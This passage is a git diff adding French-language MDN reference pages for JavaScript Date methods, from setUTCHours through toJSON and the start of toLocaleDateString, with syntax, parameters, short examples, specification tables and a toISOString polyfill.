Si les paramètres valeurMois et valeurJour ne sont pas utilisés, les valeurs renvoyées par les méthodes {{jsxref("Objets_globaux/Date/getUTCMonth", "getUTCMonth()")}} et {{jsxref("Objets_globaux/Date/getUTCDate", "getUTCDate()")}} seront utilisées.

+ +

Si un des paramètres indiqué est en dehors des limites attendues, setUTCFullYear() tentera de mettre à jour la date en conséquence. Ainsi si on utilise la valeur 15 pour valeurMois, l'année sera incrémentée de 1 (année + 1), et 3 sera utilisé pour le mois.

+ +

Exemples

+ +

Utiliser setUTCFullYear()

+ +
var leGrandJour = new Date();
+leGrandJour.setUTCFullYear(1997);
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.41', 'Date.prototype.setUTCFullYear')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setutcfullyear', 'Date.prototype.setUTCFullYear')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setutcfullyear', 'Date.prototype.setUTCFullYear')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.setUTCFullYear")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getUTCFullYear()")}}
    • +
  • {{jsxref("Date.prototype.setFullYear()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/setutchours/index.html b/files/fr/web/javascript/reference/global_objects/date/setutchours/index.html new file mode 100644 index 0000000000..2183e9aeff --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/setutchours/index.html @@ -0,0 +1,98 @@ +--- +title: Date.prototype.setUTCHours() +slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCHours +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCHours +--- +
{{JSRef}}
+ +

La méthode setUTCHours() définit les heures pour la date, selon UTC, et renvoie le nombre de millièmes de secondes écoulées entre le 1er janvier 1970 00:00:00 UTC et cette nouvelle date.

+ +
{{EmbedInteractiveExample("pages/js/date-setutchours.html")}}
+ + + +

Syntaxe

+ +
dateObj.setUTCHours(valeurHeures[, valeurMinutes[, valeurSecondes[, valeurMs]]])
+ +

Paramètres

+ +
+
valeurHeures
+
Un entier entre 0 et 23, représentant l'heure.
+
valeurMinutes
+
Paramètre optionnel, un entier entre 0 et 59, représentant les minutes.
+
valeurSecondes
+
Paramètre optionnel, un entier entre 0 et 59, représentant les secondes. Si le paramètre valeurSecondes est utilisé, le paramètre valeurMinutes devra également être renseigné.
+
valeurMs
+
Paramètre optionnel, un entier entre 0 et 999, représentant les millièmes de secondes. Si le paramètre valeurMs est utilisé, les paramètres valeurMinutes et valeurSecondes devront également être renseignés.
+
+ +

Valeur de retour

+ +

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

+ +

Description

+ +

Si les paramètres valeurMinutes, valeurSecondes et valeurMs ne sont pas renseignés, les valeurs renvoyées par les méthodes {{jsxref("Date.prototype.getUTCMinutes", "getUTCMinutes()")}}, {{jsxref("Date.prototype.getUTCSeconds", "getUTCSeconds()")}}, et {{jsxref("Date.prototype.getUTCMilliseconds", "getUTCMilliseconds()")}} seront utilisées.

+ +

Si un des paramètres renseignés est en dehors des limites attendues, setUTCHours() tentera de mettre à jour la date en conséquence. Par exemple, si on utilise la valeur 100 pour valeurSecondes, les minutes seront incrémentées de 1 (min + 1), et 40 sera utilisé pour les secondes.

+ +

Exemples

+ +

Utiliser setUTCHours()

+ +
var leGrandJour = new Date();
+leGrandJour.setUTCHours(8);
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.35', 'Date.prototype.setUTCHours')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setutchours', 'Date.prototype.setUTCHours')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setutchours', 'Date.prototype.setUTCHours')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.setUTCHours")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getUTCHours()")}}
    • +
  • {{jsxref("Date.prototype.setHours()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html b/files/fr/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html new file mode 100644 index 0000000000..6699e1faa8 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html @@ -0,0 +1,90 @@ +--- +title: Date.prototype.setUTCMilliseconds() +slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCMilliseconds +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds +--- +
{{JSRef}}
+ +

La méthode setUTCMilliseconds() définit les millièmes de secondes pour la date, selon UTC.

+ +
{{EmbedInteractiveExample("pages/js/date-setutcmilliseconds.html")}}
+ + + +

Syntaxe

+ +
dateObj.setUTCMilliseconds(valeurMs)
+ +

Paramètres

+ +
+
valeurMs
+
Un entier entre 0 et 999, représentant les millièmes de secondes.
+
+ +

Valeur de retour

+ +

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

+ +

Description

+ +

Si le paramètre indiqué est en dehors des limites attendues, la date sera mise à jour en conséquence. Par exemple, si on utilise la valeur 1005, le nombre des secondes sera incrémenté de 1, et 5 sera utilisé pour les millièmes de secondes.

+ +

Exemples

+ +

Utiliser setUTCMilliseconds()

+ +
var leGrandJour = new Date();
+leGrandJour.setUTCMilliseconds(500);
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.29', 'Date.prototype.setUTCMilliseconds')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setutcmilliseconds', 'Date.prototype.setUTCMilliseconds')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setutcmilliseconds', 'Date.prototype.setUTCMilliseconds')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.setUTCMilliseconds")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getUTCMilliseconds()")}}
    • +
  • {{jsxref("Date.prototype.setMilliseconds()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/setutcminutes/index.html b/files/fr/web/javascript/reference/global_objects/date/setutcminutes/index.html new file mode 100644 index 0000000000..40ce14225b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/setutcminutes/index.html @@ -0,0 +1,99 @@ +--- +title: Date.prototype.setUTCMinutes() +slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCMinutes +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes +--- +
{{JSRef}}
+ +

La méthode setUTCMinutes() définit les minutes pour la date, selon UTC.

+ +
{{EmbedInteractiveExample("pages/js/date-setutcminutes.html")}}
+ + + +

Syntaxe

+ +
dateObj.setUTCMinutes(valeurMinutes[, valeurSecondes[, valeurMs]])
+ +

Paramètres

+ +
+
valeurMinutes
+
Un entier entre 0 et 59, représentant les minutes.
+
valeurSecondes
+
Paramètre optionnel, un entier entre 0 et 59, représentant les secondes. Si ce paramètre est utilisé, il faut également utiliser valeurMinutes.
+
+ +
+
valeurMs
+
Paramètre optionnel, un nombre entre 0 et 999, représentant les millièmes de secondes. Si ce paramètre est utilisé, il faut aussi indiquer valeurMinutes et valeurSecondes.
+
+ +

Valeur de retour

+ +

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

+ +

Description

+ +

Si les paramètres valeurSecondes et valeurMs ne sont pas utilisés, les valeurs renvoyées par les méthodes {{jsxref("Date.prototype.getUTCSeconds", "getUTCSeconds()")}} et {{jsxref("Date.prototype.getUTCMilliseconds", "getUTCMilliseconds()")}} seront utilisées.

+ +

Si un paramètre est en dehors des limites attendues, setUTCMinutes() tentera de mettre à jour la date en conséquence. Par exemple, si on utilise 100 pour valeurSecondes, les minutes (valeurMinutes) seront incrémentées de 1 (valeurMinutes + 1), et 40 sera utilisé pour les secondes.

+ +

Exemples

+ +

Utiliser setUTCMinutes()

+ +
var leGrandJour = new Date();
+leGrandJour.setUTCMinutes(43);
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.33', 'Date.prototype.setUTCMinutes')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setutcminutes', 'Date.prototype.setUTCMinutes')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setutcminutes', 'Date.prototype.setUTCMinutes')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.setUTCMinutes")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getUTCMinutes()")}}
    • +
  • {{jsxref("Date.prototype.setMinutes()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/setutcmonth/index.html b/files/fr/web/javascript/reference/global_objects/date/setutcmonth/index.html new file mode 100644 index 0000000000..90132c3347 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/setutcmonth/index.html @@ -0,0 +1,94 @@ +--- +title: Date.prototype.setUTCMonth() +slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCMonth +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth +--- +
{{JSRef}}
+ +

La méthode setUTCMonth() définit le mois de la date, selon UTC.

+ +
{{EmbedInteractiveExample("pages/js/date-setutcmonth.html")}}
+ + + +

Syntaxe

+ +
dateObj.setUTCMonth(valeurMois[, valeurJour])
+ +

Paramètres

+ +
+
valeurMois
+
Un entier entre 0 et 11, représentant les mois de Janvier à Décembre.
+
valeurJour
+
Paramètre optionnel, un entier entre 1 et 31, représentant le jour du mois.
+
+ +

Valeur de retour

+ +

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

+ +

Description

+ +

Si le paramètre valeurJour n'est pas utilisé, la valeur renvoyée par la méthode {{jsxref("Date.prototype.getUTCDate", "getUTCDate()")}} sera utilisée.

+ +

Si un paramètre renseigné n'est pas dans l'intervalle attendues, setUTCMonth() tentera de mettre à jour la date en conséquence. Par exemple, si on utilise 15 pour valeurMois, l'année sera incrémentée de 1 (année + 1), et 3 sera utilisé pour le mois.

+ +

Exemples

+ +

Utiliser setUTCMonth()

+ +
var leGrandJour = new Date();
+leGrandJour.setUTCMonth(11);
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.39', 'Date.prototype.setUTCMonth')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setutcmonth', 'Date.prototype.setUTCMonth')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setutcmonth', 'Date.prototype.setUTCMonth')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.setUTCMonth")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getUTCMonth()")}}
    • +
  • {{jsxref("Date.prototype.setMonth()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/setutcseconds/index.html b/files/fr/web/javascript/reference/global_objects/date/setutcseconds/index.html new file mode 100644 index 0000000000..a616281d12 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/setutcseconds/index.html @@ -0,0 +1,94 @@ +--- +title: Date.prototype.setUTCSeconds() +slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCSeconds +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds +--- +
{{JSRef}}
+ +

La méthode setUTCSeconds() définit les secondes pour la date, selon UTC.

+ +
{{EmbedInteractiveExample("pages/js/date-setutcseconds.html")}}
+ + + +

Syntaxe

+ +
dateObj.setUTCSeconds(valeurSecondes[, valeurMs])
+ +

Paramètres

+ +
+
valeurSecondes
+
Un entier entre 0 et 59.
+
valeurMs
+
Paramètre optionnel, un nombre entre 0 et 999, représentant les millièmes de secondes.
+
+ +

Valeur de retour

+ +

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

+ +

Description

+ +

Si le paramètre valeurMs n'est pas utilisée, la valeur renvoyée par la méthode {{jsxref("Date.prototype.getUTCMilliseconds", "getUTCMilliseconds()")}} sera utilisée.

+ +

Si un paramètre renseigné est en dehors de l'intervalle attendu, setUTCSeconds() tentera de mettre à jour la date en conséquence. Par exemple, si on utilise 100 pour valeurSecondes, les minutes de la date seront incrémentées de 1, et 40 sera utilisé pour les secondes.

+ +

Exemples

+ +

Utiliser setUTCSeconds()

+ +
var leGrandJour = new Date();
+leGrandJour.setUTCSeconds(20);
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.31', 'Date.prototype.setUTCSeconds')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setutcseconds', 'Date.prototype.setUTCSeconds')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setutcseconds', 'Date.prototype.setUTCSeconds')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.setUTCSeconds")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getUTCSeconds()")}}
    • +
  • {{jsxref("Date.prototype.setSeconds()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/setyear/index.html b/files/fr/web/javascript/reference/global_objects/date/setyear/index.html new file mode 100644 index 0000000000..d3f6283cab --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/setyear/index.html @@ -0,0 +1,94 @@ +--- +title: Date.prototype.setYear() +slug: Web/JavaScript/Reference/Objets_globaux/Date/setYear +tags: + - Date + - Déprécié + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setYear +--- +
{{JSRef}} {{deprecated_header}}
+ +

La méthode setYear() définit l'année pour pour la date, selon l'heure locale. setYear() ne définissant pas des années complêtes ( « bug de l'an 2000 » ), elle n'est plus utilisée et a été remplacée par la méthode {{jsxref("Date.prototype.setFullYear", "setFullYear")}}.

+ +

Syntaxe

+ +
dateObj.setYear(valeurAnnée)
+ +

Paramètres

+ +
+
valeurAnnée
+
Un entier.
+
+ +

Valeur de retour

+ +

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

+ +

Description

+ +

Si valeurAnnée est un nombre entre 0 et 99 (inclus), alors l'année de dateObj sera définie à 1900 + valeurAnnée. Sinon, l'année de dateObj sera définie à valeurAnnée.

+ +

Exemples

+ +

Utiliser setYear()

+ +

Les deux premières instructions définissent l'année 1996. La troisième définit l'année 2000.

+ +
var leGrandJour = new Date();
+
+leGrandJour.setYear(96);
+leGrandJour.setYear(1996);
+leGrandJour.setYear(2000);
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-B.2.5', 'Date.prototype.setYear')}}{{Spec2('ES5.1')}}Définie dans l'annexe informative sur la compatibilité.
{{SpecName('ES6', '#sec-date.prototype.setyear', 'Date.prototype.setYear')}}{{Spec2('ES6')}}Définie dans l'annexe normative sur les fonctionnalités additionnelles des navigateurs web.
{{SpecName('ESDraft', '#sec-date.prototype.setyear', 'Date.prototype.setYear')}}{{Spec2('ESDraft')}}Définie dans l'annexe normative sur les fonctionnalités additionnelles des navigateurs web.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.setYear")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getFullYear()")}}
    • +
  • {{jsxref("Date.prototype.getUTCFullYear()")}}
    • +
  • {{jsxref("Date.prototype.setFullYear()")}}
    • +
  • {{jsxref("Date.prototype.setUTCFullYear()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/todatestring/index.html b/files/fr/web/javascript/reference/global_objects/date/todatestring/index.html new file mode 100644 index 0000000000..403f48bada --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/todatestring/index.html @@ -0,0 +1,94 @@ +--- +title: Date.prototype.toDateString() +slug: Web/JavaScript/Reference/Objets_globaux/Date/toDateString +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toDateString +--- +
{{JSRef}}
+ +

La méthode toDateString() renvoie la date contenue dans un objet {{jsxref("Date")}} sous la forme d'une chaîne de caractères lisible par un humain, en anglais américain et au format suivant :

+ +
    +
  1. Les trois premières lettre indiquent le jour
    2. +
  2. Les trois lettres suivantes indiquent le mois
    3. +
  3. Les deux chiffres suivants indiquent le jour du mois (et sont complétés avec un 0 devant si besoin)
    4. +
  4. Les quatre chiffres restants indiquent l'année (si besoin complétées avec des 0 comme préfixe)
    5. +
+ +
{{EmbedInteractiveExample("pages/js/date-todatestring.html")}}
+ + + +

Syntaxe

+ +
dateObj.toDateString()
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente la date indiquée, dans un format anglais américain.

+ +

Description

+ +

Les instances de {{jsxref("Date")}} représentent un point précis dans le temps. Appeler {{jsxref("Date.prototype.toString", "toString")}} retournera la date formatée sous une forme lisible par un humain, en anglais américain. Pour le moteur JavaScript SpiderMonkey, ceci consiste en : la partie « date » (jour, mois et année) suivie de la partie « heure » (heures, minutes, secondes et fuseau horaire). Il est parfois préférable d'obtenir uniquement la partie « date » ; ceci est possible grâce à la méthode toDateString().

+ +

La méthode toDateString() est particulièrement utile car, pour les moteurs implémentant fidèlement ECMA-262, il peut y avoir certaines différences dans la chaîne de caractères produite par toString() sur les objets Date. Le format dépend de l'implémentation et les techniques simples de découpage de texte peuvent ne pas produire un résultat cohérent à travers les différents moteurs.

+ +

Exemples

+ +

Utiliser simplement toDateString()

+ +
var d = new Date(1993, 6, 28, 14, 39, 7);
+
+console.log(d.toString());     // écrit Wed Jul 28 1993 14:39:07 GMT-0600 (PDT)
+console.log(d.toDateString()); // écrit Wed Jul 28 1993
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.9.5.3', 'Date.prototype.toDateString')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-date.prototype.todatestring', 'Date.prototype.toDateString')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-date.prototype.todatestring', 'Date.prototype.toDateString')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.toDateString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.toLocaleDateString()")}}
    • +
  • {{jsxref("Date.prototype.toTimeString()")}}
    • +
  • {{jsxref("Date.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/togmtstring/index.html b/files/fr/web/javascript/reference/global_objects/date/togmtstring/index.html new file mode 100644 index 0000000000..23b9d6d054 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/togmtstring/index.html @@ -0,0 +1,85 @@ +--- +title: Date.prototype.toGMTString() +slug: Web/JavaScript/Reference/Objets_globaux/Date/toGMTString +tags: + - Date + - Déprécié + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toGMTString +--- +
{{JSRef}} {{deprecated_header}}
+ +

La méthode toGMTString() convertit une date en une chaîne de caractères, en utilisant les conventions Internet pour GMT. Le format exact de la valeur renvoyée par toGMTString() varie en fonction de la plateforme et du navigateur web. En général, le texte produit est formaté pour être lisible par un humain.

+ +
+

Note : toGMTString() est obsolète et ne doit plus être utilisé. Il existe encore uniquementpour des questions de compatibilité. La méthode {{jsxref("Date.prototype.toUTCString", "toUTCString()")}} doit être utilisée à la place.

+
+ +

Syntaxe

+ +
dateObj.toGMTString()
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant la date indiquée selon la convention internet pour GMT (Greenwich Mean Time).

+ +

Exemples

+ +

Utiliser toGMTString()

+ +

Dans cet exemple, la méthode toGMTString() convertit la date vers GMT (UTC) en utilisant la différence avec le fuseau horaire du système d'exploitation. Elle renvoie une chaîne de caractères similaire à celle de l'exemple. La forme exacte de cette chaîne de caractères dépend de la plateforme.

+ +
var aujourdhui = new Date();
+var str = aujourdhui.toGMTString();  // Obsolète ! Utilisez toUTCString()
+
+console.log(str);               // Mon, 18 Dec 1995 17:28:35 GMT
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale et déjà déclarée comme dépréciée. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-B.2.6', 'Date.prototype.toGMTString')}}{{Spec2('ES5.1')}}Définie dans l'annexe informative sur la compatibilité.
{{SpecName('ES6', '#sec-date.prototype.togmtstring', 'Date.prototype.toGMTString')}}{{Spec2('ES6')}}Définie dans l'annexe normative sur les fonctionnalités additionnelles des navigateurs web.
{{SpecName('ESDraft', '#sec-date.prototype.togmtstring', 'Date.prototype.toGMTString')}}{{Spec2('ESDraft')}}Définie dans l'annexe normative sur les fonctionnalités additionnelles des navigateurs web.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.toGMTString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.toLocaleDateString()")}}
    • +
  • {{jsxref("Date.prototype.toTimeString()")}}
    • +
  • {{jsxref("Date.prototype.toUTCString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/toisostring/index.html b/files/fr/web/javascript/reference/global_objects/date/toisostring/index.html new file mode 100644 index 0000000000..f398d25340 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/toisostring/index.html @@ -0,0 +1,107 @@ +--- +title: Date.prototype.toISOString() +slug: Web/JavaScript/Reference/Objets_globaux/Date/toISOString +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toISOString +--- +
{{JSRef}}
+ +

La méthode toISOString() renvoie une chaîne de caractères au format ISO (ISO 8601 Extended Format), qui peut être décrite de cette façon : YYYY-MM-DDTHH:mm:ss.sssZ (toujours longue de 24 caractères) ou de cette façon ±YYYYYY-MM-DDTHH:mm:ss.sssZ (27 caractères). Le fuseau horaire est toujours UTC, comme l'indique le suffixe « Z » (pour zéro décalage avec UTC).

+ +
{{EmbedInteractiveExample("pages/js/date-toisostring.html")}}
+ + + +

Syntaxe

+ +
dateObj.toISOString()
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant la date indiquée au format ISO 8601 selon le temps universel.

+ +

Exemples

+ +

Utiliser toISOString()

+ +
var aujourdhui = new Date("05 October 2011 14:48 UTC");
+
+console.log(aujourdhui.toISOString()); // Renvoie "2011-10-05T14:48:00.000Z"
+
+ +

L'exemple ci-dessus analyse une chaîne de caractères non-standard, qui peut donc être incorrectement intérprété par des navigateurs n'utilisant pas Gecko.

+ +

Prothèse d'émulation (polyfill)

+ +

Cette méthode fut standardisée avec la cinquième édition d'ECMAScript. Afin d'utiliser cette méthode avec les moteurs qui n'en disposent pas nativement, on pourra utiliser ce fragment de code :

+ +
if ( !Date.prototype.toISOString ) {
+  ( function() {
+
+    function pad(number) {
+      if ( number < 10 ) {
+        return '0' + number;
+      }
+      return number;
+    }
+
+    Date.prototype.toISOString = function() {
+      return this.getUTCFullYear() +
+        '-' + pad( this.getUTCMonth() + 1 ) +
+        '-' + pad( this.getUTCDate() ) +
+        'T' + pad( this.getUTCHours() ) +
+        ':' + pad( this.getUTCMinutes() ) +
+        ':' + pad( this.getUTCSeconds() ) +
+        '.' + (this.getUTCMilliseconds() / 1000).toFixed(3).slice(2, 5) +
+        'Z';
+    };
+
+  }() );
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.9.5.43', 'Date.prototype.toISOString')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.
{{SpecName('ES6', '#sec-date.prototype.toisostring', 'Date.prototype.toISOString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.toisostring', 'Date.prototype.toISOString')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.toISOString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.toLocaleDateString()")}}
    • +
  • {{jsxref("Date.prototype.toTimeString()")}}
    • +
  • {{jsxref("Date.prototype.toUTCString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/tojson/index.html b/files/fr/web/javascript/reference/global_objects/date/tojson/index.html new file mode 100644 index 0000000000..0f2b0c7bc7 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/tojson/index.html @@ -0,0 +1,81 @@ +--- +title: Date.prototype.toJSON() +slug: Web/JavaScript/Reference/Objets_globaux/Date/toJSON +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toJSON +--- +
{{JSRef}}
+ +

La méthode toJSON() renvoie une chaîne représentant l'objet {{jsxref("Date")}} sous forme {{Glossary("JSON")}}

+ +
{{EmbedInteractiveExample("pages/js/date-tojson.html")}}
+ + + +

Syntaxe

+ +
dateObj.toJSON()
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant la date indiquée.

+ +

Description

+ +

Les instances de {{jsxref("Date")}} identifient un instant précis dans le temps. Appeler toJSON() renvoie une chaîne de caractères formatée en JSON (en utilisant {{jsxref("Date.prototype.toISOString", "toISOString()")}}), représentant la valeur de l'objet Date. Cette méthode est généralement utilisée, par défaut, pour sérialiser les objets Date lors d'une sérialisation au format JSON.

+ +

Exemple

+ +

Utiliser toJSON()

+ +
var jsonDate = (new Date()).toJSON();
+var retourVersDate = new Date(jsonDate);
+
+console.log(jsonDate); //2015-10-26T07:46:36.611Z
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.9.5.44', 'Date.prototype.toJSON')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.5.
{{SpecName('ES6', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.toJSON")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.toLocaleDateString()")}}
    • +
  • {{jsxref("Date.prototype.toTimeString()")}}
    • +
  • {{jsxref("Date.prototype.toUTCString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/tolocaledatestring/index.html b/files/fr/web/javascript/reference/global_objects/date/tolocaledatestring/index.html new file mode 100644 index 0000000000..b56487fe29 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/tolocaledatestring/index.html @@ -0,0 +1,186 @@ +--- +title: Date.prototype.toLocaleDateString() +slug: Web/JavaScript/Reference/Objets_globaux/Date/toLocaleDateString +tags: + - Date + - Internationalisation + - JavaScript + - Méthode + - Prototype + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleDateString +--- +
{{JSRef}}
+ +

La méthode toLocaleDateString() renvoie une chaine de caractères correspondant à la date (le fragment de l'objet qui correspond à la date : jour, mois, année) exprimée selon une locale. Les arguments locales et options permettent aux applications de définir le langage utilisé pour les conventions de format et permettent de personnaliser le comportement de la fonction. Les anciennes implémentations ignorent ces arguments, la locale utilisée et le format de la chaine dépendent uniquement de l'implémentation.

+ +
{{EmbedInteractiveExample("pages/js/date-tolocaledatestring.html")}}
+ + + +

Syntaxe

+ +
